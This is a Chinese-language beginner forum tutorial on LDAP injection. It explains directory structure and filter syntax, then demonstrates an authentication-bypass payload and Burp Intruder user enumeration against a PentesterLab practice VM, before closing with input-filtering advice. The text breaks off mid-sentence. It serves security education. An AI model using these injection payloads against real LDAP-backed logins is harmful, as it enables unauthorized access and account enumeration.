Ldap Injection 入门学习

今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:
    []LDAP的必备知识[/][]LDAP注入成因[/][]LDAP靶场环境[/][]LDAP的靶场实例[/][]LDAP 注入的防御[/]



一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念

ldap.png


dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数

1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。lDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1f3Isfv2oTVcVgdp7Q4Os4Q 密码:adnu
最终平台的效果:

QQ截图20180816110003.png


四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 

GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句
(&(name=hacker))(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:


QQ截图20180816112138.png


GET /ldap/example2.php?name=h*))(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1


4.2 遍历全部用户

攻击payload , (&(name=h)) (passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder

QQ图片20180816112846.png


step2:增加变量,具体见截图

增加变量.png


step3,增加变量字典

QQ截图20180816113238.png


step4 开始遍历

QQ截图20180816113413.png


一共跑出来两个用户,admin 和 hacker 具体截图

五 、修复建议

客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。
圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。
无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核
已邀请:

要回复问题请先登录注册